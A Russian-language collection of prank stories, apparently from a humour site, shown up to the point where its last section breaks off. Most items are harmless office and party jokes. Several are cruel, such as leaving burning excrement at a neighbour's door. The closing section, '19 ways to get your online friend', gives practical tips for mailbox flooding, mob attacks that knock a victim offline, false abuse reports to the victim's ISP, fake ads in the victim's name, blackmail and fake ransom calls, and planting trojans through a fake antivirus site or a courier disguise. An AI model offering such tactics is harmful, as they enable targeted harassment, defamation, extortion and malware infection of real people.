Элементарный розыгрыш, дающий, тем не менее замечательный эффект... Из разряда приколов над юзерами... Суть розыгрыша очень проста. Заходим в настройки Windows. Затем в пункт "Мышь". И меняем местами кнопки мыши. Затем наслаждаемся зрелищем, после того как юзерр вернется :)
Довольно простой прикол, дающий тем не менее замечательные результаты. Весь его смысл зафиксировать шарик мыши изнутри. Сделать это можно с помощью скотча прикрепив шарик к прижимному кольцу. Итак, готовтесь к крикам типа: "Мышка глючит". Перевернув ее ничего подозрительного не заметишь:)
Коллеге или товарищу ,слабо разбирающемуся в компьютерах, рассказываете об электронной почте. Внезапно вспоминаете, что вам как раз должны были прислать по почте 100 рублей..... и достаете бумажку в 100 руб из дисковода 3.5' или CD ROMa (не забыв ее туда предварительно положить :-) )
На пейджер(можно и компьютер) присылается сообщение: "Теперь я тамагочи, покорми меня".
Приходишь в какую-то компьютерную контору, говоришь, так и так, хочу у вас работать, тебя спрашивают, умеешь ли ты ремонтировать лазерные принтеры, и вот тут надо поднести к уху мобильник, и, набрав какой-нибудь номер громко сказать:
- Танк, загрузи в меня программу ремонта лазерных принтеров.
Потом секунд 5 моргать глазами и произнести:
- Да, я умею ремонтировать лазерные принтеры!
Эффект будет потрясающий!
В Виндовсе в Панели Управления выбрать Мышь и поставить максимальную скорость двойного нажатия, при этом у 80% двойное нажатие не будет получаться, а т.к. об изменении параметров "жертва" не знала, она подумает, что левая кнопка мыши сломалась. Там же выставьте максимальную скорость передвижения мыши. Весьма забавно, а главное, скорее всего, возвращать прежнее значение придется с клавиатуры, а это не так просто.
Нужна жертва с компьютером , на котором есть MustDie 95/98 и IE c Active Desctop. Любой грабилкой экрана снять изображение рабочего стола, панели управления, в общем, всего экрана. Создать файл joke.htm следующего содержания:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title> Нормальная страница без названия</title>
</head>
<body bgcolor="#000080">
<p>> <img src="file:///D:/fon.gif"alt="рабочий стол не работает - обратитесь в службу поддержки Microsoft" width="1024" height="768"> </p>
</body>
</html>
Где d:\fon.gif - расположение картинки-экрана. В настройках экрана выбираете в качестве фона файл joke.htm и включаете опцию "Скрывать значки , если рабочий стол представлен как страница WEB". Вдобавок можно в скриншоте экрана написать на панели управления , что она не работает , стереть кнопку "Пуск" и, главное не забыть задвинуть вниз "Панель инструментов". Наслаждайтесь.
Хочу поделиться одним компьютерным розыгрышем, который был исполнен у нас на работе. Он основан на неистребимом желании людей получить побольше денег на халяву. Надо, чтобы компьютер жертвы был подключен к Internet. Пишем прогу со стандартным окошком Windows, и ставим время показа этого окошка так, чтобы жертва наверняка оказалась за компьютером. Ну так вот, представьте себе, сидит человек, спокойно себе работает, и вдруг ни с того, ни с сего у него на экране вылазит окошко с примерно таким содержанием: "Поздравляем! Вы только что выиграли $1,000,000 от корпорации Microsoft! Ваше имя было выбрано нашим компьютером случайным образом из более чем миллиона пользователей продукции компании Microsoft. О подробностях получения приза смотрите на www.microsoft.com/prize" (все это, естественно, по-английски). У человека разгораются глаза, теперь надо нажать кнопку..., а их две: IGNORE и CANCEL ! :)) Жертва прямо-таки ошарашена: такие бабки плывут в руки и... как их взять-то?!!
Шутка проделывается над злобным юзером, который строит из себя компьютерного гения. Для этого я пишу программульку (Visual Basic - forever) и толпой заваливаем к таковому юзеру, и с честным видом предлагаем просмотреть программу (она абсолютно чистая, без вирусов). Перед пользователем, запустившим эту программу, появляются десять картинок с симпатичными девушками (одетыми) и задается вопрос: не хочет ли он увидеть их без одежды (есть возможность ответить только "да"). После чего ему предлагается нажать и удерживать 10 клавиш на клавиатуре. Удерживая их, он читает всплывшее сообщение: "Как только одна из десяти клавиш будет отпущена, в машине активизируется вирус, который немедленно выведет из строя винт (даже форматирование не поможет)". А вся толпа тем временем перемещается в соседнюю комнату, включает на всю катушку музыку, воду или другой источник шума и записывает на видео попытки товарища выключить системный блок при помощи носа, ног и других выступающих частей тела..."
Берется компьютер - 1 шт. и программа распознавания речи, типа Dragon Dictate. Кто ковырялся в этой программке, знает - в ответ на распознанный набор звуков (слово или фразу) она выполняет определенную команду или набор команд. Обычно это команда типа Sendkeys 'набор символов', которая посылает в буфер клавиатуры заранее, но нас в данный момент интересует команда для воспроизведения в ответ звукового файла PlaySound 'wavfilename.wav', с помощью которой можно научить программу в ответ на сказанную Вами фразу выдать свою, заранее записанную через микрофон и сохраненную на диске.
Теперь, когда Вы ознакомились с технической стороной розыгрыша, необходимо научить программу понимать штук 15 стандартных фраз, используемых при обычном разговоре двух давно знакомых людей и записать через микрофон соответствующие им стандартные ответы. Например, "привет - здравствуй", "как дела - нормально", "че делаешь - да ниче, так", "пить будешь - нет, голова болит после вчерашнего" и т.п. Также важно научить ее защищаться от оскорблений, например, "дурак - сам дурак", "иди ты ... - сам туда иди", а также запускать некоторые необходимые программы: "поставь какую-нибудь музычку - пожалста (+ запуск WinAmp)", "давай во что-нибудь поиграем - ну давай (+ запуск MineSweeper)". Ответы лучше записывать с немножко усталой, ленивой интонацией (типа как ты меня уже достал своими запросами) и после записи обработать в каком-нибудь редакторе, чтобы сделать свой голос неузнаваемым (во многих редакторах есть хороший фильтр Mechanize, который делает голос таким, как у роботов из старых фантастических фильмов).
Теперь, когда к Вам в гости придет какой-нибудь знакомый чайник, Вы сможете продемонстрировать ему созданный Вами "искусственный интеллект" путем обмена несколькими фразами со своим компьютером. Эффект будет просто потрясающим, поверьте мне. На Ваших глазах в один миг рухнут все представления вашего товарища о компьютерах. Если вдруг компьютер подведет и не поймет какую-то Вашу фразу (такое случается довольно часто), можно, не стесняясь, обозвать его каким-нибудь нехорошим словом и незамедлительно получить соответствующий ответ (это произведет еще большее впечатление). Если объект Вашего розыгрыша сам попытается поговорить с Вашим компьютером (компьютер его, естественно же, не поймет) - объясните ему, что вы ему дали указание не откликаться на чужой голос. Короче, прикалывайтесь на здоровье.
Розыгрыш предназначен прежде всего для программистов. Это еще один способ как разыграть (с пользой) преподавателя. Сам в свое время получил таким образом зачет. Дело простое. Подходишь к преподу и уверенно говоришь, что разработал программу, которая распознает цвет дискеты. Естественно, препод начинает с пеной у рта доказывать, что так не бывает. Тут нужно поспорить на "зачет" (или, чем черт не шутит, на "5" на экзамене). Рядом с компьютером, у которого будет происходить демонстрация программы, нужно положить любую мышь, а рабочую куда-нибудь спрятать (так, чтобы ей можно было пользоваться за спиной у ошарашенного преподавателя). И вот час триумфа - преподаватель засовывает черную дискету и нажимает Enter. Компьютер, покрутив дисководом, пишет "черная", на белую пишет "белая" и так все время, без ошибки . А все дело в том, чтобы написать обыкновенную программу, реагирующую на нажатие кнопок мышки, например, нажал левую - пишет на экране "черная", нажал правую - пишет "белая". А самый прикол - когда преподаватель начнет мухлевать и попробует вставить дискету, скажем, красного цвета (в моем случае преподаватель сделал именно так). Это можно предусмотреть, например, фразой типа "черт его знает. По-моему красная". А запрограммировать можно просто на последовательность нажатий кнопок мышки или на двойной щелчок.
Предлагается к рассмотрению такая шутка. Сотруднику, компьютер которого неподалеку, в его Ворде в графе автозамена делаем примерно следующее. Слово "кто-то" или какое-то другое, встречающееся не так чтобы часто, но все-таки регулярно, заменяется на словосочетание, например, "какая-то херня". Эффект потрясающий, причем разброс последствий большой - от просто недоумения и смеха до разноса и смеха сквозь слезы."
Для этого трюка нужно немножко подготовиться. Берем обыкновенный магнитофон и небольшой динамик (подойдет спикер от компьютера) Дальше записываем на магнитофон (можно вместо магнитофона использовать компьютер с звуковой картой - так будет даже проще) какую-нибудь чепуху вроде криков, стонов, плача - все что угодно. Дальше любым проводом удлиняем динамик и прячем его , ну скажем, за диваном. Выставляем таймер так, чтобы он сработал где-то через минуту после визита девушки. Когда она придет, усадите ее на диван и под благовидным предлогом отлучитесь. Ну, а теперь можно притаиться за дверью и в щелочку наслаждаться ...
Расскажу об одной шутке, которую я проделал над свом шефом. Дело в том, что помещение, где мы работаем, небольшое и столы стоят вплотную. А мой стол расположен прямо напротив стола начальника нашего отдела буквально впритык. Компы у нас лежачие и лежат на столах, можно сказать попами друг к дружке. Ну и вот притащил я на работу из дома мышь для COM-порта, а на работе у нас все мыши для PS/2. Дождался пока на работе никого не осталось и установил шефу на комп вторую мышь. Если кто еще не понял, то поясняю, что две мыши в системе - это не означает два мышиных курсора в системе. Положил ее себе на стол и закрыл всяческими бумагами. На следующий день все и началось. Где-то перед обедом, когда рабочее напряжение немного спало и появилось настроение пошалить, я снимаю бумаги со второй его мышки и закрываю ими свою. И начинаю этой мышкой тихонько двигать. Шеф часто заморгал глазами, видимо курсор пошел зигзагом. Я тем временем мышь не трогаю, шеф проморгался и решил, что почудилось. Минуты через две он снова хватается за свою мышь, ну и я тоже. Он передвигает курсор вверх, после чего я двигаю его вниз. Результат ошеломляющий: курсор взял, да и упал вниз экрана. Шеф, конечно, удивился, но справился с чувствами и продолжил начатое перемещение курсора туда, куда ему надо, но не тут-то было. Курсор доехал до середины десктопа, а дальше не смог. И это правильно, потому что я его тяну в обратную сторону. Еще одна попытка! Барьер сломлен (это я мышь отпустил). Шеф просто растерян и подзывает меня: "Глянь, - говорит, - как мышь глючит." Я подхожу и не замечаю ничего особенного, (мышь-то на столе осталась)."Ну, - говорю, - наверное, процессор перегружен. Бывает." Сажусь за свое место. Но через небольшие интервалы времени курсор мыши проявляет недюжинный интеллект. Подошел другой сотрудник. "Вот. Вот. Щас будет," - говорит ему шеф. Эта мышиная возня продолжалась бы, наверное, еще долго, но тут уж я не выдержал, упал мордой на стол и затрясся от смеха. Но шеф у меня с чувством юмора, посмеялся вместе со всеми и меня простил. Ну в самом деле, не винт же я ему отформатировал.:)
Хочу поделиться следующим розыгрышем, известным в кругу моих друзей под названием "Держи коня!". Действующие лица: "жертва" - человек, уснувший после бурного веселья или просто "свалившийся" от усталости, а еще лучше, если он имеет склонность часто разговаривать во сне и вообще всячески "лунатит", 1-2 разыгрывающих и сколь угодно зрителей. Картина следующая: к забывшемуся глубоким и, возможно, беспокойным сном агнцу подбираются коварные злоумышленники. В руках одного из них обязательно наличие какого-либо ремня, пояса, веревки, полотенца или чего-нибудь похожего на поводья. Разбудить спящего необходимо сразу, одним резким толчком или криком типа "Вставай!", и пока он мало что соображает, сунуть ему "поводья" и голосом комиссара времен Великой Октябрьской приказать: "Держи коня!". Опыт показывает, что примерно 80% из числа "жертв" цепляются за "поводья" мертвой хваткой секунды на три, пока не приходят в себя, при этом выражение лица - самое живописное.
Старый, добрый розыгрыш. Примечателен тем, что при всей своей простоте ОЧЕНЬ часто удается:
В разгар какой-нибудь беседы надо ввернуть такой вопрос: "Кстати, а ты знаешь, как расшифровывается аббревиатура "ДУНЯ"?" После естественного ответа "Нет. А как?" отвечаешь: "Дураков У нас Нет". После чего твой собеседник в 90% случаев на автомате произносит: "А Я?"... После секундного замешательства и следующего за ним взрыва хохота всех прочих слушателей можно уже и прокомментировать: "Ну..., если только ты...
Для розыгрыша требуется большая квадратная (желательно, кубическая) коробка. На одной из граней большими яркими красивыми буквами требуется написать что-то типа: "Пожертвуйте денег в фонд пострадавших в войне 1812 года". Сверху коробки требуется проделать прорезь, чтобы кидали туда денежки (иногда кидают). Далее берется эта коробочка надписью к себе (чтобы, идя по улице, ее никто не видел) и прорезью вверх. Выбирается какой-нибудь магазин или людное учреждение (место розыгрыша). Подойдя к входной (выходной) двери, Вы замечаете, что в дверь коробочка не пролезает. Тогда и выбирается жертва, которой Вы под предлогом быстрого посещения магазина передаете коробку. В результате этого надпись на коробке станет видимой окружающим, но не видимой для жертвы. Вы тем временем уходите в магазин. Иногда, жертва сама того не подозревая, предлагает подержать коробку. Различные варианты надписей дают различные эффекты.
Какие только издевательства не производятся над первокурсниками во время посвящения в студенты! Среди всего прочего на моей памяти (и при моем участии) творилось следующее. Во время посвящения полагается каждому студенту поднести чашу с напитком. Обычно подносят что-нибудь крепко смешанное на основе перца, уксуса, горчицы и прочих малоприятных в большом количестве вещей. Мы решили отойти от стандарта. На глазах публики в большую кастрюлю наливалась крепкая дымящаяся кислота, сыпались самые разнообразные химикаты, туда же отправились белая мышь и лягушка (живые!), какие-то части анатомических препаратов и т.д. Затем ведущий зачерпывает половником получившуюся жижу, удовлетворенно обнюхивает и подносит старосте курса. Бедная девушка, едва не грохаясь в обморок, пищит: "Не буду!" Ведущий шепотом в ответ рычит: "Пей, дура!", - и та, зажмурившись, делает глоток. Реакция публики была более, чем шоковая. Секрет прост: в большой кастрюле стояла куча маленьких посудин. Каждое вещество (или существо) попадало в свой отсек, а потом ведущий зачерпывал лимонад и нес посвящаемому. Просто, но эффект убийственный, поверьте.
В офисе двери в мужской и женский туалеты расположены на некотором расстоянии друг от друга. На дверь в мужской наклеивается лист формата А4 с крупной надписью "муЖской", с максимально крупной буквой "Ж" посредине, а на женский - "мадаМский" (буква М большая). Издалека видны только эти крупные буквы: М на женском, Ж - на мужском... Посторонний человек, ориентируясь на видимые издалека буквы, идет "не к своей" двери, и только в последний момент (в лучшем случае!) прочитывает все слово.
Замечательный и интересный автомобильный прикол. Работает безотказно, пробовал практически на всех своих знакомых. Берется два одинаковых брелка от авто-сигнализации (они обычно в комплекте идут). Один кладется в карман. Дальше объявляется всем, что у тебя сигнализация - особая новая разработка - реагирует на речь, причем с встроеным интеллектуальным распознавателем :) На глазах у изумленной публики ты серьезно командуешь брелку: "Поставить на сигнализацию". Машина реагирует и пищит один раз. Потом ты командуешь: "Снять с сигнализации". И, о чудо, машина опять реагирует. Дальше ты предлагаешь любому желающему поэксперементировать, причем команды могут быть самые разные. Понятно, что ты в это время сам незаметно нажимаешь на нужные кнопки второй сигнализации - той, что в кармане. Один мой хороший знакомый (владелец СТО) даже разобрал брелок и удивлялся , что эти капиталисты научились делать. До сих пор так и не понял...
Желателен длинный коридор или комната (все зависит от количества участников действа) и умеренное состояние подпития, однозначно не последняя стадия, т.к. эффект будет смазан. Главное, чтобы хотя бы один человек в компании играл в эту игру первый раз, остальные могут уже все знать, им все равно будет весело. Так вот, все выстраиваются в одну шеренгу, плечом к плечу (новичок последний), "ведущий" - первый. Далее все по очереди, вытягивая вперед руку со словами: "Вижу мишку!!!" - садятся на корточки, т.е. сел ведущий, затем человек рядом с ним и т.д. до последнего. Когда сел последний, "ведущий" со всей силы толкает всю эту неустойчивую конструкцию (толкать нужно не руками, а плечом, как бы заваливаясь на бок, но достаточно сильно). Получается эффект домино. Главное - не убить последнего, т.к. при соответствующей сноровке "ведущего" последние 2-3 человека отлетают очень даже далеко. Восторг неописуемый! Небольшие рекомендации для "ведущего". Главное - всем объяснить что и когда делать, чтобы люди не сели все одновременно, только по очереди (при одновременном усаживании часты сбои в виде падающих раньше времени участников). Ставить людей нужно плотно, а самому немного (20-30 см) отодвинуться от рядом стоящего, чтобы было место для "маневра". И последнее, из личного опыта, идеальное количество играющих от 7 до 10.
Розыгрыш, который проделала со мной моя жена. Она позвонила на пейджер и попросила оператору передать через полчаса сообщение типа: "Любимый, я по тебе очень соскучилась. Позвони мне". А когда через полчаса я получаю сообщение, она таким ангельским голосочком спрашивает: "Дорогой, кто это?" И я, обливаясь потом и краснея, пытался объяснить, что-то типа это - не я и пейджер не мой :) В общем напереживался ...
Для этого розыгрыша требуется коробок спичек и, желательно, слабонервная жертва. Жертве нужно сообщить (или даже поспорить на что-нибудь), что с помощью коробка спичек можно выработать электричество, то есть искру сделать. Затем нужно вынуть из коробка три спички и воткнуть их в закрытый коробок между самой коробочкой и сдвигающейся частью параллельно друг другу так, чтобы головки спичек были на примерно одинаковом расстоянии, при этом эти приготовления надо делать как можно тщательнее и медленнее(на нервы действует). Теперь нужно взять коробок одной рукой так, чтобы спички торчали в сторону жертвы, а другой рукой как-нибудь тереть коробок, но и чтобы было непонятно что именно ты делаешь (тоже на нервы действует). Затем надо попросить жертву ОЧЕНЬ МЕДЛЕННО соединить головки двух соседних спичек (наклонить их друг к другу). Конечно, ничего не произойдет. Теперь нужно попросить жертву нагнуть третью спичку к двум остальным, чтобы все три головки соединились, конечно, тоже ОЧЕНЬ МЕДЛЕННО. Здесь жертва уже должна быть на грани нервного срыва. Как только все три головки соединятся, резко и громко кричите: "БА-БАХ!!!". Здесь главное, чтобы жертва с перепугу не двинула вам табуреткой по голове... Вся процедура проверялась неоднократно на разных людях. Действует безотказно.
На вечеринке договоритесь с хозяином квартиры и заранее снимите унитаз на видео, встав на стул и подняв камеру повыше. Ну, вроде, как скрытой камерой. Важно, чтобы изображение не тряслось. Когда во время вечеринки кто-нибудь выйдет в туалет, быстро инструктируете компанию и включаете запись. Вернувшись, жертва увидит на экране телевизора изображение туалета, где только что побывала, а вся компания покатывается со смеха. Естественно, первой мыслью жертвы будет, что "все все видели"...
Берется кнопка, к ней привязывается леска, и это нехитрое приспособление прикалывается к окну жертвы, но со стороны улицы (желательно, чтобы жертва жила на первом этаже).Потом берется леска и натягивается (желательно, чтобы леска была длинная), беретесь за нее 2 мокрыми пальцами и медленно скребете вверх и вниз.У жертвы дома кажется, что сейчас вылетит рама. Я долго смеялся, когда я так сделал другу. Вы бы только увидели его лицо.
Вывешиваем из окна БОЛЬШОЙ лист целлофана (продается в хоз.магазинах). Лист должен быть настолько длинным, что должен перекрывать окно этажом ниже. Внизу, это конечно, не нравится, и оттуда раздаются требования убрать целлофан. В ответ высказываете что-нибудь обидно-игнорирующее. Естественная реакция обиженного - потянуть за конец целлофана с целью сорвать "это безобразие". И вот когда нижний конец целлофана окажется втянутым в помещение, вы выливаете по целлофановому "желобу" ведро воды...
Хочу поделиться розыгрышем, который лучше проводить в немного подвыпившей компании. Жертва должна обладать хотя бы зачатками чувства юмора, иначе может смертельно обидеться. Выберите удачный момент и предложите жертве пройти тест на координацию ( трезвость, ловкость и т.п. ) Суть заключается в следующем: нужно поднять коробок спичек, используя для этого две спички. Держа их за головки двумя пальцами каждую, упереть их с разных сторон в центр коробка и таким образом поднять его. После нескольких попыток это обычно удается. Далее предлагаете усложнить задачу. В момент, когда коробок уже поднят жертвой и удерживается ею на вытянутых руках, предложите несколько раз топнуть ногой. Если коробок в этот момент падает, то можно повторить попытку. Очень быстро жертва "наловчится" и будет с довольным лицом топать ногой по полу, и держать двумя спичками перед собой коробок. Лицо обычно бывает очень глупое и счастливое, особенно если предварительно поспорить, что жертве это никогда не удастся. Вот здесь и наступает апофеоз. Вы поворачиваетесь лицом к зрителям ( чем их больше, тем лучше ) и голосом конферансье объявляете: "Вот так в дурдоме мотоцикл заводят". Взрыв хохота. Занавес.
Такой веселый школьный прикол.
Вобщем рядом стояли два системника - работающий и не работающий.
Как то детишки их поменяли, и подозвали препода.
"Мы, - говорят, - такую программку сделали, что она кнопку Reset блокирует."
Препод не верит тычет Reset...Ни фига.
"А вы знаете, - продолжают дети, - мы такую программку сделали, что она кнопочку Power блокирует".
Препод не верит тычет Power...Ни фига.
"А самое главное, мы такую программку сделали, которая выход из сети блокирует!"
Препод не верит... Вырубае комп из сети... НИ ФИГА! Комп то РАБОТАЕТ!
30 минут потребовалось преподу, что додуматься...
Свидетелем этого розыгрыша я стал на одной из студенческих вечеринок. Мой приятель Дима как всегда перекушал водовки и прилег в соседней комнате на диван в надежде немного поспать. Его-то и разыгрывали. Одна из девушек стала сексопильно шептать на ушко спящему Диме всякий бред типа: "Милый мой, Димочка, подвинься... Как же я хочу тебя... О!!! Какой ты горячий..." и т.д. В это время рядом с Димой прилег парень и начал нежно водить по Диминому телу руками, (и Дима, и парень были одетыми, так что все выглядело вполне целомудренно). В это время остальные участники вечеринки наблюдали за картиной совращения спящего Димы, давясь от смеха. Сексопильные стоны девушки и умелые ласки парня наконец-то разбудили Диму. Он все услышал и осознал. Желая узнать, что же это за обладательница такого роскошного голоса собирается его поиметь, Дима заворочался (девушка сразу же замолчала) и попытался открыть глаза. Когда ему это почти удалось, парень, обнимавший Диму, жутким громовым басом поинтересовался: "Ну что, давай поцелуемся, что ли ?"
Для того, чтобы воплотить в жизнь этот прикол, необходимо написать программку на любом из языков программирования. Суть ее должна заключаться в следующем: эмуляция взлома банковской системы с целью получения денежек. То, как эффектно будет выглядеть программа, зависит только от вашей фантазии. Когда у вас дома будет какая-нибудь party, и ваши друзья уже будут под хмельком, похвалитесь им, что вы можете взломать банковскую систему и украсть деньги. Пригласите их к компу и дальше выполните свою программулю. Реакция народа просто фантастична. Когда на экране появится крупненькая сумма и уведомление о переводе ее на ваш счет, смотрите на лица своих друзей! Это просто супер! Для пущего эффекта можно крикнуть: "Мы теперь сказочно богаты!!!" В общем, полчаса здорового смеха вам гарантировано. Единственное условие: чем меньше ваши друзья понимают в компутерах, тем лучше. Тех из них, кто вас может раскусить, можно посвятить в курс дела.
Привет! Это не совсем розыгрыш, скорей похоже на какой-то тест. Мы проводили это во времена существования пионерской организации и, соответственно, пионерских комнат. У нас это было место всеобщей тусовки (вожатый был свой парень), куда постоянно на переменах вваливался народ с самыми различными целями. Хохма в следующем: на стол кладем лист бумаги (лучше побольше), в самый центр ПРИКЛЕИВАЕМ обычным канцелярским клеем какую-нибудь склянку (между прочим, этот самый клей неплохо с заданием справляется) - в нашем случае это была баночка из-под витаминок. Для пущего эффекта можно разместить (уже БЕЗ клея) на том же листе бумаги кучку канц. кнопок без коробочки, стакан с водой и др. вещи. Теперь самое главное - возле приклеенной склянки красным фломастером как можно более устрашающим почерком с кучей восклицательных знаков пишем: "ВНИМАНИЕ!!! ПУЗЫРЕК РУКАМИ НЕ ТРОГАТЬ !!!!!!!!" Далее садимся рядом и наблюдаем. Даю голову на отсечение - КАЖДЫЙ, кто входит в комнату, сначала внимательно читает воззвание, затем ненадолго задумывается и... приподнимает пузырек! А поскольку тот намертво приклеен, поднимается и бумага, с которой сыпется и опрокидывается все, что мы туда поставили и разложили :)
Находят подходящее место для проведения данного издевательства, это может быть остановка троллейбуса (на ее примере буду рассматривать последовательность действий) или автобуса, пешеходный переход, вокзал или еще что-нибудь. Значится так... На остановке ставится хрупкая, приятного вида девушка с двумя среднего вида сумками. Когда подходит троллейбус, девушка с невинным видом просит какого-либо молодого человека помочь ей внести сумки в транспорт. Никакой дурак не откажется помочь красавице-девушке, поэтому с видом героя, напыщенным таким, он хватается за ручки..., а в сумки нагрузите что-нибудь такое, чтобы каждая весила килограмм по 80, не меньше... Наблюдайте результат: со стороны смотрится классно, но главное сам сюжет. Можете заснять на камеру (только чтобы оператора не видели). На пешеходном переходе можно поставить бабушку, которая просит помочь перенести сумки через дорогу.
Таким приколом мы забавлялись в детстве.
1. Находили пустую коробку из под торта и дружно всей компанией (человек 10-12) справляли в нее БОЛЬШУЮ нужду.
2. закрывали крышкой и ставили на коврик у входной двери какого-нибудь злобного соседа.
3. поджигали верхнюю крышку и звонили в дверь (убегать сразу!)
4. Хозяин (хозяйка) открыв входную дверь и увидев что-то горящее сразу (98%) начинают ее тушить - естественно ногами, а так как верхняя крышка уже прогорела - то .....результат на ногах.
Удачи!
19 способов поиметь своего сетевого друга
Где-нибудь надо упомянуть о том, что скоро жертва планирует взломать своего прова, что пока не поздно - они могут вникнуть в суть дела и отключить жертву от греха подальше :).
Узнай, что больше всего ценит или чаще всего использует твоя жертва в Инете.
Сидеть просто в сети зверски скучно. Играть можно, но после непрерывной игры в течение месяца начинаются сногсшибательные замашки на улице: то боком к автобусу бежишь :), то нервно оглядываешься и отходишь ближе к аптеке, убедившись, что там полно аптечек :). Так и свихнуться не долго. Значит, надо как-то все это дело разбавлять. Как? Разбавляешь один к двум и лакаешь, вот как :). Но можно и более результативно, доставив при этом много «счастливых» моментов в жизни своим сетевым друзьям :). А ты что думал? На каждую хитрую попу найдется свой болт на восемнадцать... Перво-наперво нужно определиться, чего ты хочешь добиться своими партизанскими действиями. Тут вариантов уйма: пощекотать нервы, напомнить, что не все так сладко и висит, или же вовсе довести до белой горячки :). Главное, не переборщить, а то за непреднамеренное убийство тоже сажают :). Вот тебе самые гарные способы кончить жертву, пока она дышит :).
Способ 1
Самый простой и излюбленный метод заподлянки - это подписка на всяческие рассылки в Инете. Тут мало важно рассылки чего, важнее, как часто и как много. А уж что будут слать - то ли аквариумных рыбок при спаривании, порнуху или просто ежедневные новости из Африки - не столь важно. Чем больше подписок друг словит, тем больше будут его глаза при получении :). Смешно? Ну когда ты сам получаешь ежедневно 126 ненужных писем, это уже не так смешно :). А потом все это же надо скачивать! Нет, ну одаренные полезут все удалять через телнет, не скачивая. Но каждый день лазать смотреть ящик и метить все эти 126 писем тоже не в кайф, да и привыкнуть можно :). Единственный способ избавиться от рассылок - заслать мыльщикам гневные письма, но потом тебе никто не мешает повторно подписать этого чела :). Единственной трудностью в этом деле сейчас представляет подтверждение на подписку. Ну то есть челу будет идти рассылка, если только он потом подтвердит, что согласен ее получать. Ну ты же кул-хацкер, и тебе это как на пол сплюнуть :). Берешь и регестришь тот же pipets@mail.ru, подписываешь его на 126 рассылок и ставишь фовард на жертву - усё, круг замыкается :). Ну и само собой не забудь поставить при фоварде опцию, чтобы копии не оставались в твоем ящике :). Еще что могу посоветовать в этой области - ищи побольше подписок, которые шлют не анекдоты, а всяческие картинки - это быстрее доведет жертву до истерики :). А если у жертвы к тому же еще ящик ограничен по объему, то при желании можно добиться его постоянного полного забивания, чем ты просто не позволишь получать обычные письма (кроме подписок :)).
Способ 2
Что бы ни говорили, а ирка хо
рошая штука для создания регулярной армии. Тут полным-полно желающих что-нибудь или кого-нибудь повесить, что-нибудь или кого-нибудь отыметь :), испытать новую вешалку или пингалку. Главное - суметь привлечь внимание и постоянно окучивать этот самый регулярный отрядик. Тут уже результат прямо пропорционален содержанию сероватого оттенка вещества в твоей продолговатой (у кого-то квадратной) башне. Наплети, что, мол, жертва - это самый яростный насильник маленьких детей, маньяк и вообще педагог :). К тому же он полный ламо и не читает Х. Далее остается только узнать IP жертвы, если же он на статическом IP, задача сводится к первому классу. Но ты скажешь, что сейчас все сидят под пропатченными виндами, завесить практически нельзя, многие ставят фаерволы и прочее. Да, да, да, но кто сказал, что нужно нюкать или вешать? Нынче времена высоких технологий :) - просто скидывать с линии на фиг и все! Одному это, естественно, не под силу, но на это тебе и нужна регулярная армия. Причем не столь важно, с модемов ли все или с выделенок, главное бить одновременно - в результате жертва должна протащиться от скорости Инета :).
Способ 3
Ясен пень, что если кто-то сидит в Инете, то через кого-то, а не сам по себе, и у него есть некий пров. Ну так используй это. Одень каску и валенки, узнай телефон прова и придумай что-нибудь сказочное :). Телефон прова узнать можно без проблем в том же Инете - я еще ни разу не видел прова без своего сайта. Дальше остается только прикинуться законопослушным гражданином и рассказать страшилку о том, как жертва завалила вас, ваш дом, соседний дом и еще пару фирм. Что жертва занимается распространением порнографии и что на нее уже подавали в суд, и прочая етецерата :). Где-нибудь надо упомянуть о том, что скоро жертва планирует взломать своего прова, что пока не поздно - они могут вникнуть в суть дела и отключить жертву от греха подальше :). Подобные давления по телефону можно подкрепить еще и письменными жалобами с нескольких мыльниц, благо их можно понаделать до туевой хучи.
Способ 4
Ну, так вот. Пишет ему грудастая блондинка из одного чата, болтали вместе и все такое, вряд ли он ее помнит - давно дело было, но запала по самое не хочу :). Вот теперь сидит одна, скучает, в результате есть маза встретиться и обсудить мультик о Винни и ослике с горшочком и шариком :). Эффектнее будет, если подобное письмо закинуть какой-нибудь девчонке и описать их друг другу :). При желании можно закупиться пивчанским и посетить место романтической встречи :).
Способ 5
Ты, наверное, видел много новых сайтов, похожих на газету «Из рук в голову» :). Ну так вот, обязательно кинь в подобные конфы сообщение от имени жертвы, в котором напиши, что есть все, что только нужно, по любым ценам и в любом количестве. Припиши, что будет пожизненная гарантия и подарки в нагрузку, оплата в рассрочку и можно мелкими купюрами :). Короче, пофантазируй, и ящик жертвы будет завален безо всякой рассылки. Тут, правда, можно пойти и дальше. И раскидать подобные сообщения по поводу покупки чего бы то ни было, только, наоборот, цены поднимать и соглашаться с любыми условиями :).
Способ 6
Попробуй как-нибудь узнать телефон чела. Если узнаешь - считай, что ты взял БФГ :). После этого можешь творить что угодно. Либо можешь рассказывать родителям, как жертва кого-то изнасиловала, и просить явиться в отделение :), либо требовать выкуп за младшую сестру, либо шантажировать по любому поводу.
Способ 7
Троянчики - они и в Африке троянчики :). Только сейчас о них уже почти все знают, стали «осторожными» и «умными». Но бдительность, бывает, тоже дремлет. Вот тогда и наноси свой сокрушительный удар. Как? К примеру, пришли апгрейд к базе антивируса какого-нибудь а-ля Dr Web. Но это вряд ли покатит, так как все в последнее время на левые мылья не реагируют, но это не относится к доменам! Зарегестри себе пупер-домен второго уровня, сбацай окрыленную идею и дизайн, а под всей этой лабудой сделай скачку одного нужного тебе файлика :). А потом просто невзначай расскажи жертве о существовании оного, кстати, круг жертв можно резко расширить :). Единственное - придется поломать голову, о чем сбацать сайт и под каким предлогом на этот сайт выложить «убойный» файлик.
Способ 8
Опять вытекает из предыдущего, но более изощренно. Намалюй себе кепочку и маечку а-ля курьер и преспокойно тащи дискетку, как бы с новой версией антивируса от самого производителя. При встрече с жертвой распиши, как компания продвигает себя, делает самоистязающие жертвы для того, чтобы найти своего постоянного клиента и заботиться о попадании своего нового детища в каждый дом. Для пущей убедительности попроси заполнить заранее подготовленную анкетку с дебильными вопросами, присущими подобной акции :). Подари левую ручку - юзвери просто обожают подобные действия, иначе за фиг ходить на тот же Комтек? :) Ну и после своих словоизлияний вручи долгожданный диск. Думаю, эффект будет стопроцентным, только затрат децел побольше. Ну а если жертва знает тебя в глаза, придется искать подмогу.
Способ 9
